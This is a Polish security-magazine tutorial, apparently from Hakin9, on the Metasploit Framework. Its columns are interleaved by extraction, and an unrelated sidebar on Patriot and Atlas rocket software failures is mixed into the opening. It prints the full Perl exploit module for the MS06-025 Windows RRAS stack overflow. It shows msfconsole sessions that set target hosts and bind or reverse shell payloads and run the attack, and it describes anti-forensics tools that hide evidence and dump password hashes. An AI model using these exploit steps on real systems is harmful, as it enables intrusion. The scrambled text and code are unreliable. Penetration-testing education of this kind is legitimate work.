czym jest ceniony pakiet Niepowodzenia rakiet Patriot przy przez czterech programistów jako sieć
narzędzi hakerskich Metasploit
Framework,
przechwytywaniu irackich rakiet Scud do testów bezpieczeństwa. Następnie był
przypisano efektom nagromadzenia się stopniowo rozwijany w ramach licencji Perl.
jak na konkretnym przykładzie
używać tego pakietu do niedokładności w pracy wewnętrznego Stabilna wersja produktu została wydana w
przeprowadzania testu wykrycia zegara komputera. Komputer działał zgodnie czerwcu 2004 roku. Od tego czasu rozwój
podatności na lukę RRAS Stack
Overflow w systemach MS z przyjętymi założeniami – przewidywano, że produktu oraz dodawanie nowych elementów
Windows. będzie on wyłączany i włączany dostatecznie następuje bardzo szybko.
CO POWINIENEŚ często, by kumulacja błędu nie była nigdy Projekt Metasploit powstał w ramach grupy
WIEDZIEĆ niebezpieczna. Ponieważ został zastosowany badawczej mającej zajmować się tworzeniem
wskazana jest praktyczna w sposób pierwotnie nieprzewidziany, narzędzi związanych z bezpieczeństwem
znajomość choćby podstaw niewielka niedokładność stała się poważnym i lukami w systemach bezpieczeństwa.
programowania w języku C++,
problemem. Najbardziej znanym projektem tej grupy jest
znajomość systemu
operacyjnego Linux lub MS
Jeden błędny bit w programie kontrolującym oprogramowanie Metasploit Framework (MSF),
Windows. lot rakiety Atlas, która wyniosła w przestrzeń rozpowszechniane przez głównych autorów

42 HAKIN9 4/2009
METASPLOIT FRAMEWORK

tego projektu, któr ymi są programiści testowych. Aby ułatwić szybkie tworzenie uruchamiania modułów testujących, tak
ukr ywający się pod pseudonimami modułów i umożliwić ich wielokrotne aby móc kontrolować, w jaki sposób atak
Spoonm i HD Moore, na zasadach wykorzystywanie, wszystkie komponenty jest przeprowadzany.
otwartego kodu źródłowego. pisane są w obiektowym języku Perl,
MSF został pierwotnie napisany w wykorzystującym dynamiczne ładowanie. Budowa
języku skr yptowym Perl i obejmował Celem MSF jest umożliwienie Metasploit Framework
różnego rodzaju elementy napisane w ustawiania wartości parametrów Podstawowym elementem Metasploit
języku C, asembler i Python. Licencja definiowanych przez użytkownika i Framework (MSF) jest DataStore. Cały
projektu została tak skonstruowana,
że – w ramach licencji GPL v2 i Perl
może być wykorzystywany zarówno
w projektach open-source, jak i
komercyjnych. Od wersji 3.0 MSF
jest całkowicie od nowa napisany w
języku Ruby i został wyposażony w
szeroką gamę inter fejsów API. Licencja
tego produktu jest teraz bliższa
tym obowiązującym w przypadku
oprogramowania komercyjnego.
MSF można jednak wykorzystywać
do własnego użytku, zachowano
też prawo do swobodnego
rozpowszechniania. Zabronione jest
sprzedawanie MSF w jakiejkolwiek
formie oraz integracja w pakietach
komercyjnych (w oprogramowaniu,
urządzeniu czy też w innej formie).
Wprawdzie początkowo w ramach
tego projektu nie powstał żaden
system wsparcia dla programistów,
ale począwszy od wersji sytuacja się
zmieniła, a wbudowana pomoc ma
naprawdę szerokie możliwości.
Rysunek 1. Interfejs msfconsole w systemie Linux
Oprogramowanie MSF zostało
stworzone, by dostarczyć programistom
platformy do pisania oprogramowania
wyszukującego luki w systemach
bezpieczeństwa. Dzięki temu ułatwia
ono ludziom zawodowo zajmującym
się problemami bezpieczeństwa i
badaczom szybkie pisanie odpowiednich
narzędzi. Na najbardziej podstawowym
poziomie system MSF dostarcza
rozbudowanego interfejsu API
umożliwiającego określanie różnych
parametrów ataku wykrywającego
lukę. Wielu spośród jego komponentów
można używać wielokrotnie w różnych
zestawieniach. Przykładami mogą być
moduły generujące treść pakietów,
przetwarzające ją, generatory NOP,
biblioteki protokołów i procedury
szyfrujące. Oprogramowanie MSF
dostarcza szerokiego zestawu wydajnych
komponentów, których można używać
podczas programowania ataków Rysunek 2. Interfejs msfweb

4/2009 HAKIN9 43
ATAK
system jest logicznie podzielony na
Listing 1. Wykorzystanie parametrów LPORT i LHOST globalne elementy i moduły składowania
danych.
msf > setg LPORT 1234
LPORT -> 1234 Poniżej wymieniono najważniejsze
msf > setg LHOST 192.168.10.10 elementy w pakiecie Metasploit:
LHOST -> 192.168.10.10
msf > setg PAYLOAD win32_reverse
PAYLOAD -> win32_reverse • msfcli – interfejs poleceń, w któr ym
msf > use apache_chunked_win32 wydawane są komendy wraz z
msf apache_chunked_win32(win32_reverse) > show options opcjami,
Exploit and Payload Options
• msfconsole – shell systemowy MSF
===========================
Exploit: Name Default Description (Rysunek 1). Oferuje dopełnianie
-------- ------ ------- ------------------ poleceń (ang. tab completion),
optional SSL Use SSL • msfdldebug – ładuje symbole
required RHOST The target address
required RPORT 80 The target port
debugowania dla plików systemu MS
Payload: Name Default Description Windows,
-------- -------- ------- ------------------------------------------ • msflogdump – program do
optional EXITFUNC seh Exit technique: "process", "thread", "seh"
analizowania logów generowanych
required LPORT 123 Local port to receive connection
required LHOST 192.168.10.10 Local address to receive connection przez MSF,
• msfencode – testuje moduły
kodujące. Dzięki niemu można
zrozumieć kodowanie pakietów w
MSF,
• msfpayload – umożliwia testowanie
pakietów generowanych przez moduł
kodujący,
• msfpayload.cgi – to samo co
powyżej, tyle że w postaci programu
CGI, któr y może być wykonywany
z poziomu przeglądarki WWW po
uprzednim umieszczeniu na serwerze
Web,
• msfpescan – narzędzie do
odnajdywania dopasowań opkodów
w plikach wykonywalnych Windows
PE. Opkody są wykorzystywane
jako instrukcje powrotne w czasie
przeskakiwania do kodu powłoki,
• msfupdate – program aktualizacyjny.
Rysunek 3. Strona Metasploit Opcode Database Pobiera aktualizacje do
oprogramowania MSF, łączy się ze
stroną projektu przez protokół HTTPS.
Lista podstawowych komend Metasploit Framework • msfweb – interfejs Metasploit w
Lista podstawowych komend Metasploit Framework:
formie strony WWW, dostępny dla
• ? – wyświetla pomoc z poziomu konsoli, różnych przeglądarek internetowych
• cd – zmiana katalogu roboczego, (Rysunek 2).
• exit – wyjście z konsoli,
• help – pomoc dostępna z poziomu konsoli, Poszczególne katalogi dostępne poprzez
• info – wyświetla szczegóły na temat payloadu lub exploita,
interfejs przechowują następujące
• quit – wyjście z konsoli,
• reload – przeładowanie payloadu lub exploita, informacje:
• save – zapisanie konfiguracji na dysku,
• setg – ustawienia globalne zmiennych środowiskowych, • /data – katalog plików związanych
• show – wyświetla dostępne exploity i payloady, z obsługą treści przesyłanej w
• unsetg – usuwa ustawienia globalnych zmiennych środowiskowych, pakietach,
• use – użyj wybranego exploita o określonej nazwie,
• /docs – jak sama nazwa wskazuje,
• version – wyświetla informację o wersji.
jest to katalog dokumentacji. W tym
miejscu znajdziemy informacje na

44 HAKIN9 4/2009
METASPLOIT FRAMEWORK

Listing 2a. Windows RRAS Stack Overflow (Exploit, MS06-025)

## Access Service. Since the service is hosted inside svchost.exe,


# This file is part of the Metasploit Framework and may be a failed
redistributed exploit attempt can cause other system services to fail as
# according to the licenses defined in the Authors field below. well. A valid
In the username and password is required to exploit this flaw on
# case of an unknown or missing license, this file defaults to Windows 2000.
the same When attacking XP SP1, the SMBPIPE option needs to be set to
# license as the core Framework (dual GPLv2 and Artistic). The 'SRVSVC'.
latest }
# version of the Framework can always be obtained from ),
metasploit.com.
## 'Refs' =>
[
package Msf::Exploit::rras_ms06_025; [ 'BID', '18325' ],
use base "Msf::Exploit"; [ 'CVE', '2006-2370' ],
use strict; [ 'OSVDB', '26437' ],
[ 'MSB', 'MS06-025' ]
use Pex::DCERPC; ],
use Pex::NDR;
'DefaultTarget' => 0,
my $advanced = { 'Targets' =>
'FragSize' => [ 256, 'The DCERPC fragment size' ], [
'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ], [ 'Automatic' ],
'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ], [ 'Windows 2000', 0x7571c1e4 ], # pop/pop/ret
}; [ 'Windows XP SP1', 0x7248d4cc ], # pop/pop/ret
],
my $info = {
'Name' => 'Microsoft RRAS MSO6-025 Stack Overflow', 'Keys' => ['rras'],
'Version' => '$Revision: 1.1 $',
'Authors' => 'DisclosureDate' => 'Jun 13 2006',
[ };
'Nicolas Pouvesle <nicolas.pouvesle [at] gmail.com>',
'H D Moore <hdm [at] metasploit.com>' sub new {
], my ($class) = @_;
my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' =>
'Arch' => ['x86'], $advanced }, @_ );
'OS' => [ 'win32', 'win2000', 'winxp' ], return ($self);
'Priv' => 1, }

'AutoOpts' => { 'EXITFUNC' => 'thread' }, sub Exploit {


'UserOpts' => { my ($self) = @_;
'RHOST' => [ 1, 'ADDR', 'The target address' ], my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
# SMB connection options my $target_idx = $self->GetVar('TARGET');
'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', my $shellcode = $self->GetVar('EncodedPayload')->Payload;
'' ], my $target = $self->Targets->[$target_idx];
'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB
username',''], my $FragSize = $self->GetVar('FragSize') || 256;
'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB my $target = $self->Targets->[$target_idx];
username', '' ],
'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER, my ( $res, $rpc );
XP=SRVSVC)', 'ROUTER' ],
}, if ( !$self->InitNops(128) ) {
$self->PrintLine("[*] Failed to initialize the nop module.");
'Payload' => { return;
'Space' => 1104, }
'BadChars' => "\x00",
'Keys' => ['+ws2ord'], my $pipe = "\\" . $self->GetVar("SMBPIPE");
my $uuid = '20610036-fa22-11cf-9823-00a0c911e5df';
# sub esp, 4097 + inc esp makes stack happy my $version = '1.0';
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
}, my $handle =
Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np',
'Description' => Pex::Text::Freeform( $target_host,
qq{ $pipe );
This module exploits a stack overflow in the Windows Routing and my $dce = Pex::DCERPC->new(
Remote 'handle' => $handle,

4/2009 HAKIN9 45
ATAK
temat obsługi inter fejsów i narzędzi • /sdk – ten katalog zawiera samouczek pomiędzy tymi dwoma grupami
MSF, omawiający sposoby pisania modułów pod względem funkcjonalności.
• /encoders – zbiór modułów kodujących, do nietypowych ataków, Wymienione aplikacje komercyjne
które zajmują się obsługą danych w • /src – tutaj znajdziemy różne przykłady pozwalają w przyjazny sposób używać
przesyłanych pakietach, i inne elementy wykorzystywane przez graficznych inter fejsów użytkownika
• /exploits – przechowuje wszystkie MSF, i posiadają szereg rozbudowanych
testowe moduły ataków, • /tools – zbiór narzędzi Socket Ninja możliwości raportowania. Warto
• /lib – biblioteki tworzące rdzeń MSF, i memdump. Socket Ninja jest jednak mieć na uwadze, że MSF
• /extra – mniej potrzebne przy pracy multiplekserowym menedżerem jest przede wszystkim platformą do
moduły Net-SSL i Term-ReadLine-Gnu gniazd, a program memdump pobiera wykorzystania i opracowania nowych
Perl, segmenty pamięci z działających modułów testujących bezpieczeństwo
• /nops – katalog z modułami, które procesów Windows. aplikacji. Ponadto jest również
generują bufory NOP (No Operation), platformą do projektowania narzędzi
wykorzystywane w atakach do MSF konkuruje bezpośrednio z analitycznych, które umożliwiają badanie
zwiększenia ich „odporności”, takimi komercyjnymi produktami, i rozwój nowych technik testowania
• /payloads – moduły implementujące jak Immunity's CANVAS lub Core bezpieczeństwa. Dlatego nie posiada tak
różne akcje, które mogą zostać Security Technology's Core Impact. rozbudowanych graficznych inter fejsów,
wykonane w czasie ataku, Jednakże istnieje zasadnicza różnica jak jego komercyjna konkurencja.

Listing 2b. Windows RRAS Stack Overflow (Exploit, MS06-025)

'username' => $self->GetVar('SMBUSER'), "\xe9\xb7\xfb\xff\xff" ;


'password' => $self->GetVar('SMBPASS'),
'domain' => $self->GetVar('SMBDOM'), } elsif( $target->[0] =~ /Windows XP/) {
'fragsize' => $self->GetVar('FragSize'),
'bindevasion' => $self->GetVar('BindEvasion'), $pattern =
'directsmb' => $self->GetVar('DirectSMB'), pack( 'V', 1 ) .
); pack( 'V', 0x49 ) .
Pex::Text::AlphaNumText(0x4c).
if ( !$dce ) { "\xeb\x06" .
$self->PrintLine("[*] Could not bind to $handle"); Pex::Text::AlphaNumText(2).
return; pack( 'V', $target->[1] ) .
} $shellcode;

my $smb = $dce->{'_handles'}{$handle}{'connection'}; } else {


if ( $target->[0] =~ /Auto/ ) { self->PrintLine( '[*] No target available...');
if ( $smb->PeerNativeOS eq 'Windows 5.0' ) { return;
$target = $self->Targets->[1]; }
$self->PrintLine('[*] Detected a Windows 2000 target...');
} # need to produce an exception
elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) { my $request = $pattern . Pex::Text::AlphaNumText(0x4000 -
$target = $self->Targets->[2]; length($pattern));
$self->PrintLine('[*] Detected a Windows XP target...');
} my $len = length ($request);
else {
$self->PrintLine( '[*] No target available : ' . $smb- my $stub =
>PeerNativeOS() Pex::NDR::Long( int( 0x20000 ) )
); . Pex::NDR::Long( int( $len ) )
return; . $request
} . Pex::NDR::Long( int( $len ) );
}
$self->PrintLine("[*] Sending request...");
my $pattern = ''; my @response = $dce->request( $handle, 0x0C, $stub );
if (@response) {
if ($target->[0] =~ /Windows 2000/) { $self->PrintLine('[*] RPC server responded with:');
foreach my $line (@response) {
$pattern = $self->PrintLine( '[*] ' . $line );
pack( 'V', 1 ) . }
pack( 'V', 0x49 ) . $self->PrintLine('[*] This probably means that the system is
$shellcode . patched');
"\xeb\x06" . }
Pex::Text::AlphaNumText(2). return;
pack( 'V', $target->[1] ) . }

46 HAKIN9 4/2009
METASPLOIT FRAMEWORK

Ten system pozwala zaoszczędzić


czas przeznaczony na rozwój własnych Listing 3. Wyszukiwanie nazwy exploita RRAS
środowisk, które mogą być wykorzystane msf > show exploits
w testach penetracyjnych. Wspólne opcje Exploits
mogą być definiowane w globalnym ========
Name Description
środowisku i automatycznie później ---- -----------
wykorzystane za każdym następnym ...
załadowaniem. windows/smb/ms04_011_lsass Microsoft LSASS Service
DsRolerUpgradeDownlevelServer Overflow
Poniższy przykład (Listing 1) pokazuje,
windows/smb/ms04_031_netdde Microsoft NetDDE Service
w jaki sposób można wykorzystać Overflow
parametry LPORT i LHOST. windows/smb/ms05_039_pnp Microsoft Plug and Play Service
Projekt Metasploit składa się nie tylko Overflow
windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN
z MSF. Obecnie obejmuje on również
Registry Overflow
komponenty opisane poniżej. windows/smb/ms06_025_rras Microsoft RRAS Service Overflow
windows/smb/ms06_040_netapi Microsoft Server Service
Metasploit Opcode Database NetpwPathCanonicalize Overflow

Ten webowy interfejs jest prawdopodobnie


Listing 4. Przejście do bezpośredniej obsługi wybranego modułu
najbardziej kompleksową bazą
dostępnych opcode, pozwala msf > use windows/smb/ms06_025_rras
msf exploit(ms06_025_rras) >
użytkownikowi na wyszukiwanie opkodów
z zestawu modułów – na podstawie klas Exploity wykorzystują różne opcje. Sprawdzimy jakie opcje powinny być ustawione dla
opcode. exploita RRAS:
Obecnie baza danych składa
msf exploit(ms06_025_rras) > show options
się z ponad 14 mln opcodes,
Name Current Setting Required Description
obejmujących 320 różnych typów ---- --------------- -------- -----------
opcode i 14 systemów operacyjnych. RHOST yes The target address
Jest ona dostępna w Internecie pod RPORT 445 yes Set the SMB service port
SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)
adresem www.metasploit.com/opcode_
database.html (Rysunek 3).
W obecnej wersji w ramach msfopcode
zapewniono również dostęp do interfejsu
bazy danych w trybie online bezpośrednio
z linii poleceń.

Metasploit Anti-forensics
Jest to zbiór narzędzi i dokumentów,
które pomogą utrudnić przeprowadzenie
w stosunku do zaatakowanego systemu
tzw. analizy sądowej. Narzędzia są
dopuszczone jako część pakietu
Metasploit Anti-Forensic Investigation
Arsenal (MAFIA). W skład pakietu
wchodzą:

• Timestomp – narzędzie, które


umożliwia analizę oraz modyfikowanie
znaczników plików przechowywanych
w systemie NTFS,
• Slacker – narzędzie, które pozwala
ukryć dane w niezapełnionym
fragmencie bloku (ang. slack space)
systemu plików NTFS,
• Sam Juicer – moduł, który pozwala
na odczytanie skrótów haseł z pliku
SAM bez jakiejkolwiek ingerencji w
dysk twardy (łącznie z odczytem). Rysunek 4. msfconsole w systemie MS Windows

4/2009 HAKIN9 47
ATAK
Listing 5. Przegląd modułów Payloads Jednym z najciekawszych nowych
dodatków do MSF od wersji 3.0
msf exploit(ms06_025_rras) > show payloads jest moduł Recon. Komponent
Compatible payloads
ten, wspomagany przez Nmap i
===================
... Nessus, może pomóc w identyfikacji
windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline poszczególnych hostów w sieci,
windows/shell_bind_tcp_xpfw Windows Disable Windows ICF, Command
uruchomionych usług, otwartych portów i
Shell, Bind TCP Inline
windows/shell_reverse_tcp Windows Command Shell, Reverse TCP
dostępnych wersji.
Inline Ponadto dostępne są moduły Recon
... odpowiedzialne za skanowanie portów
i ocenianie słabości skanowanych
Listing 6. Wybór exploita do atakowania zdalnego hosta
hostów.
msf exploit(ms06_025_rras) > set PAYLOAD windows/shell_bind_tcp Istnieje silna inicjatywa opracowania
PAYLOAD => windows/shell_bind_tcp korelacji silnika, któr y będzie klasyfikował
msf exploit(ms06_025_rras) > show options
i koordynował informacje otrzymane
Module options:
Name Current Setting Required Description z modułu Recon z wydarzeniami
---- --------------- -------- ----------- zachodzącymi w sieci. Na przykład,
RHOST 192.168.1.20 yes The target address aby wykorzystywać to w sytuacjach,
RPORT 445 yes Set the SMB service port
SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)
kiedy automatycznie zostanie wykr yte
Payload options: zagrożenie danego portu w testowanej
Name Current Setting Required Description sieci. Dodatkowo korelacja tego silnika
---- --------------- -------- -----------
jest realizowana w taki sposób, że
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
informacje na temat stanu sieci mogą
być przechowywane w bazie danych.
Listing 7. Sprawdzamy podatne na exploit systemy operacyjne Po zainstalowaniu MSF mamy
do dyspozycji trzy środowiska pracy
msf exploit(ms06_025_rras) > show targets
Exploit targets: – msfconsole, msfcli i interfejs WWW
Id Name msfweb. Jednakże podstawowym (i
-- ---- preferowanym) obszarem roboczym MSF
0 Windows 2000 SP4
jest msfconsole. Jest to wydajny interfejs
1 Windows XP SP1
msf exploit(ms06_025_rras) > set TARGET 1 wiersza poleceń, któr y ma swój własny
TARGET => 1 zestaw komend systemu i środowiska.
Został zaprojektowany do uruchamiania
msf exploit(ms06_025_rras) > exploit
[*] Started bind handler
w systemach uniksowych, takich jak Linux
[-] Exploit failed: Login Failed: The SMB server did not reply to our request lub BSD, można go również uruchomić w
systemie Windows poprzez środowisko
Listing 8. Sprawdzamy informacje na temat możliwości wykorzystania exploita Cygwin. Instalator dla wersji Windows
msf exploit(ms06_025_rras) > info zawiera wstępnie skonfigurowaną wersję
Name: Microsoft RRAS Service Overflow Cygwin.
Version: 4498
Jeżeli uruchomimy konsolę i
Platform: Windows
Privileged: Yes
wszystko zadziała bez problemów,
License: Metasploit Framework License ujrzymy obraz podobny do pokazanego
Provided by: na Rysunku 4.
Nicolas Pouvesle <nicolas.pouvesle@gmail.com>
Teraz wszystkie polecenia dla
hdm <hdm@metasploit.com>
Available targets: msfconsole są aktywne. Konsola jest
Id Name bardzo elastyczna, a jeśli użytkownik
-- ---- wprowadzi nieznane polecenia, będą one
0 Windows 2000 SP4
1 Windows XP SP1
wyszukiwane w zmiennej środowiskowej
Basic options: PATH i dopasowane dla każdego pliku
Name Current Setting Required Description wykonywalnego. Jeśli zostanie znaleziony
---- --------------- -------- -----------
pasujący plik, następuje jego wykonanie
RHOST 192.168.1.20 yes The target address
RPORT 445 yes Set the SMB service port – podobnie jak standardowego
SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC) polecenia.
Payload information: Instynktownie wpisując polecenie
Space: 1104
help, uzyskamy listę dostępnych poleceń,
Avoid: 1 characters
tak jak pokazano na Rysunku 5.

48 HAKIN9 4/2009
METASPLOIT FRAMEWORK

RRAS Stack • Microsoft Windows XP Professional następnie go uruchomić. Interesujące


Overflow (Exploit, MS06-025) x64 Edition, nas polecenia, które pozwolą rozpocząć
Istnieje luka w zabezpieczeniach, która • Microsoft Windows Server 2003 i pracę to:
daje możliwość zdalnego wywołania Microsoft Windows Server 2003 z
kodu w wyniku zaatakowania usługi dodatkiem Service Pack 1 (także w show <exploits | payloads>
Routing i zdalny dostęp. Umożliwia to wersji dla komputerów z procesorem info <exploit | payload> <name>
osobie atakującej i wykorzystującej tę Itanium), use <exploit-name>
lukę na uzyskanie dostępu do systemu. • Microsoft Windows Server 2003 x64
Zagrożone systemy: Edition Inne komendy możemy poznać za
pomocą polecenia help. Zaczniemy od
• Microsoft Windows 2000 Ser vice Pełny kod programu wykorzystującego znalezienia nazwy dla np. exploita RRAS
Pack 4, lukę RRAS Stack Overflow obejrzeć (Listing 3).
• Microsoft Windows XP Ser vice Pack można na Listingu 2. Na liście exploitów możemy odnaleźć
1 i Microsoft Windows XP Ser vice Teraz opiszę procedurę, która Windows/smb/ms06_025_rras. Możemy
Pack 2, pozwala wybrać opisany exploit, a go wybrać przy pomocy komendy use i
następnie przejść do trybu bezpośredniej
obsługi wybranego modułu –
odpowiednie polecenia pokazane są na
Listingu 4.
Exploit wymaga podania adresu
atakowanego celu i numeru portu SMB
(ang. Server Message Block), który
wykorzystywany jest do nasłuchu. Ustawimy
cel ataku i podamy jego adres IP:

msf exploit(ms06_025_rras) > set


RHOST 192.168.1.20
RHOST => 192.168.1.20

Składnia ustawień wygląda następująco:

Set <OPTION_NAME> <OPTION_VALUE>

W przykładzie użyjemy modułu, któr y


otwiera polecenie powłoki i nasłuchuje
na określonym porcie TCP.
Przejrzymy teraz (Listing 5) dostępne
Rysunek 5. msfconsole i polecenie help
sposoby zaatakowania ofiar y przy

Rysunek 6. Instalator MSF w systemie MS Windows

4/2009 HAKIN9 49
ATAK
pomocy poszczególnych ładunków (ang. załadowania wbudowanej komendy Kolejną czynnością będzie wybór
payloads) złośliwego kodu. powłoki. Użycie słowa inline oznacza exploita, przy którego pomocy zaatakujemy
Na Listingu widoczne są trzy moduły, tutaj polecenie powłoki, która jest zdalny host. Sprawdzimy też dostępne
z któr ych każdy może być używany do ustawiona w tr yb roundtrip. opcje (Listing 6).
Exploit jest już skonfigurowany. Teraz
Listing 9. Sprawdzamy, czy ROUTER jest narażony na zdalny atak musimy zdefiniować rodzaj atakowanego
systemu. Metasploit wykorzystuje pewne
msf exploit(ms06_025_rras) > show auxiliary uniwersalne typy, dzięki czemu praca na
Name Description
---- -----------
wszystkich platformach systemowych jest
admin/backupexec/dump Veritas Backup Exec Windows Remote podobna. Listing 7. pokazuje, w jaki sposób
File Access sprawdzić podatne na exploit systemy
admin/backupexec/registry Veritas Backup Exec Server Registry
operacyjne.
Access
dos/freebsd/nfsd/nfsd_mount FreeBSD Remote NFS RPC Request Denial Windows XP z dodatkiem SP1,
of Service zgodnie z Microsoft Security Bulletin,
dos/solaris/lpd/cascade_delete Solaris LPD Arbitrary File Delete jest dość podatny na wspomniany atak.
dos/windows/nat/nat_helper Microsoft Windows NAT Helper Denial
Przyjrzyjmy się bliżej, jak to wykorzystać
of Service
dos/windows/smb/ms05_047_pnp Microsoft Plug and Play Service (Listing 8).
Registry Overflow Opis exploita wskazuje, że w przypadku
dos/windows/smb/ms06_035_mailslot Microsoft SRV.SYS Mailslot Write XP z SP1, w SMBPIPE opcja musi być
Corruption
dos/windows/smb/ms06_063_trans Microsoft SRV.SYS Pipe Transaction No
ustawiona na SRVSVC. Metasploit w wersji
Null 3 dodaje kilka modułów pomocniczych, z
dos/windows/smb/rras_vls_null_deref Microsoft RRAS których jeden jest narzędziem do obsługi
InterfaceAdjustVLSPointers NULL Dereference
potoków. Użyjemy go do tego, by sprawdzić
dos/wireless/daringphucball Apple Airport 802.11 Probe Response
Kernel Memory Corruption czy ROUTER jest narażony na zdalny
dos/wireless/fakeap Wireless Fake Access Point Beacon atak (Listing 9). Teraz przyszła kolej na
Flood sprawdzenie narażonych na atak potoków w
dos/wireless/fuzz_beacon Wireless Beacon Frame Fuzzer
systemie Windows XP. Niezbędne polecenia
dos/wireless/fuzz_proberesp Wireless Probe Response Frame Fuzzer
dos/wireless/netgear_ma521_rates NetGear MA521 Wireless Driver Long i ich wyniki przedstawia Listing 10.
Rates Overflow Zajmiemy się potokiem SRVSVC.
dos/wireless/netgear_wg311pci NetGear WG311v1 Wireless Driver Long
Niestety zadziała tylko w przypadku
SSID Overflow
dos/wireless/probe_resp_null_ssid Multiple Wireless Vendor NULL SSID
wyłączonej ściany ogniowej (Listing 11).
Probe Response Połączenie zadziałało, możemy
dos/wireless/wifun Wireless Test Module sprawdzić to za pomocą netstat:
recon_passive Simple Recon Module Tester
scanner/discovery/sweep_udp UDP Service Sweeper
scanner/mssql/mssql_login MSSQL Login Utility C:\tools>netstat -an | findstr .20 |
scanner/mssql/mssql_ping MSSQL Ping Utility findstr ESTAB
scanner/scanner_batch Simple Recon Module Tester TCP 192.168.1.13:3999 192.168.1.20:
scanner/scanner_host Simple Recon Module Tester
4444 ESTABLISHED
scanner/scanner_range Simple Recon Module Tester
scanner/smb/pipe_auditor SMB Session Pipe Auditor
scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor Podsumowanie
scanner/smb/version SMB Version Detection
Główne cechy MSF:
test Simple Auxiliary Module Tester
test_pcap Simple Network Capture Tester
voip/sip_invite_spoof SIP Invite Spoof • jest napisany przede wszystkim w Perlu
(niektóre części w Pythonie i C), co
Listing 10. Sprawdzamy potoki w systemie Windows XP oznacza możliwość szybkiego rozwoju
msf exploit(ms06_025_rras) > use scanner/smb/pipe_auditor wtyczek,
msf auxiliary(pipe_auditor) > show options • łatwa i szybka instalacja pakietu MSF,
Module options: • wsparcie dla zewnętrznych narzędzi,
Name Current Setting Required Description
bibliotek i funkcji, takich jak np.
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR debugowanie, kodowanie, SSL,
identifier • zrozumiałe, intuicyjne, modułowe
msf auxiliary(pipe_auditor) > set RHOSTS 192.168.1.20 i rozszerzalne API dla środowiska
RHOSTS => 192.168.1.20
msf auxiliary(pipe_auditor) > exploit
programistycznego,
[*] Pipes: \netlogon, \lsarpc, \samr, \epmapper, \srvsvc, \wkssvc • jest wysoce zoptymalizowany pod
[*] Auxiliary module execution completed różne środowiska systemowe, ma
budowę modułową,

50 HAKIN9 4/2009
METASPLOIT FRAMEWORK

• rozszerzona obsługa i dobre nie wpuszczaj do domu nikogo, kto nie uproszczenia będące skutkiem
wsparcie, które naprawdę pozwalają ma miłego głosu i białych łap. Metoda kompromisu, które mogą wywołać
skrócić czas wykorzystania kodu do ta jest dość skuteczna, gdyż bazuje na niemożliwe do akceptacji zachowanie
własnych potrzeb, wer yfikacji fizycznych cech uprawnionych się systemu czy aplikacji.
• wsparcie dla różnych protokołów użytkowników. W bajce tragicznym Problem oszacowania
sieciowych i opcji, które mogą być niedopatrzeniem była zbyt mała liczba bezpieczeństwa jest bardzo poważny.
wykorzystane do opracowania podanych cech. Łatwo jest odróżnić kozę By mieć zaufanie do wyników, musimy
własnych elementów, od wilka, jeśli widzi się całą postać, ale wypróbować program w sytuacjach,
• projekt oparty na Open Source, koźlętom kazano sprawdzić tylko kolor które mogą zaistnieć w rzeczywistości.
posiada dedykowane wsparcie dla tej łap i głos. Konstruując odpowiednie środowisko
społeczności deweloperów, Komputer y przekazują dużo cennych testowe (np. MSF), musimy być pewni, że
• wsparcie dla zaawansowanych informacji, które są niezmiernie przewidzieliśmy wszelkie sytuacje, które
funkcji i narzędzi, takich jak InlineEgg, łakomym kąskiem dla przestępców. napotka program. Należy więc zawsze
UploadExec i chainable proxy. Jednak ludzie pragnący zabezpieczyć zachować sceptycyzm przy ocenie
swoje dane wydają się jeszcze wiarygodności testu i – w konsekwencji
Oprogramowanie czasami działa bardziej naiwni od koźlątek, gdy – dokładności jego rezultatów.
nieprawidłowo ze względu na zawarte starają się odróżniać uczciwego od Jeżeli ktoś przekonuje nas
w nim błędy. Niektórzy twierdzą, iż oszusta tylko na podstawie ciągów o wyjątkowej niezawodności i
awarie są czymś regularnym, ponieważ symboli dostarczanych do systemów bezpieczeństwie pojedynczego
tworzenie oprogramowania jest pracą informatycznych. programu, możemy mu zarzucić po
całkowicie logiczną, nie istnieją w niej Wytworzenie idealnego prostu brak dostatecznej wiedzy. W
żadne wewnętrzne nieokreśloności. oprogramowania wciąż pozostaje przypadku złożonych programów
Jeżeli więc dostatecznie dobrze marzeniem. Pomimo r ygor ystycznego i przykrą prawdą jest fakt ograniczonego
znamy dane wejściowe, zachowanie systematycznego testowania większość zaufania, na które można sobie w
się programu powinno być całkowicie dużych programów zawiera nieusunięte stosunku do nich pozwolić. Sama
zdeterminowane. defekty od chwili, w której zaczynamy obserwacja programu nie daje gwarancji
Produkty takie jak platforma je testować. Tak jak było to już jego poprawnego zachowania się w
Metasploit mogą posłużyć do testowania wspomniane, przyczyną tego zjawiska przyszłości.
ataków. Wykorzystywane są głównie jest złożoność kodów źródłowych. Uwzględniając złożoność obecnego
przez administratorów czy oficerów W dodatku, poza mimowolnie oprogramowania, pozostaje nam
bezpieczeństwa, którzy chcą sprawdzić wprowadzonymi do programu błędami, podchodzić do niego z dużą dawką
poziom bezpieczeństwa swoich zawierają one różnego rodzaju sceptycyzmu.
systemów lub aplikacji. Oczywiście tak
samo często z tego zestawu korzystają
Listing 11. Sprawdzamy exploit na potoku SRVSVC
audytorzy systemów informatycznych
oraz hakerzy, którzy przy pomocy msf auxiliary(pipe_auditor) > use windows/smb/ms06_025_rras
msf exploit(ms06_025_rras) > set SMBPIPE SRVSVC
takich właśnie narzędzi w dużej mierze
zdobywają wiedzę i testują podatności SMBPIPE => SRVSVC
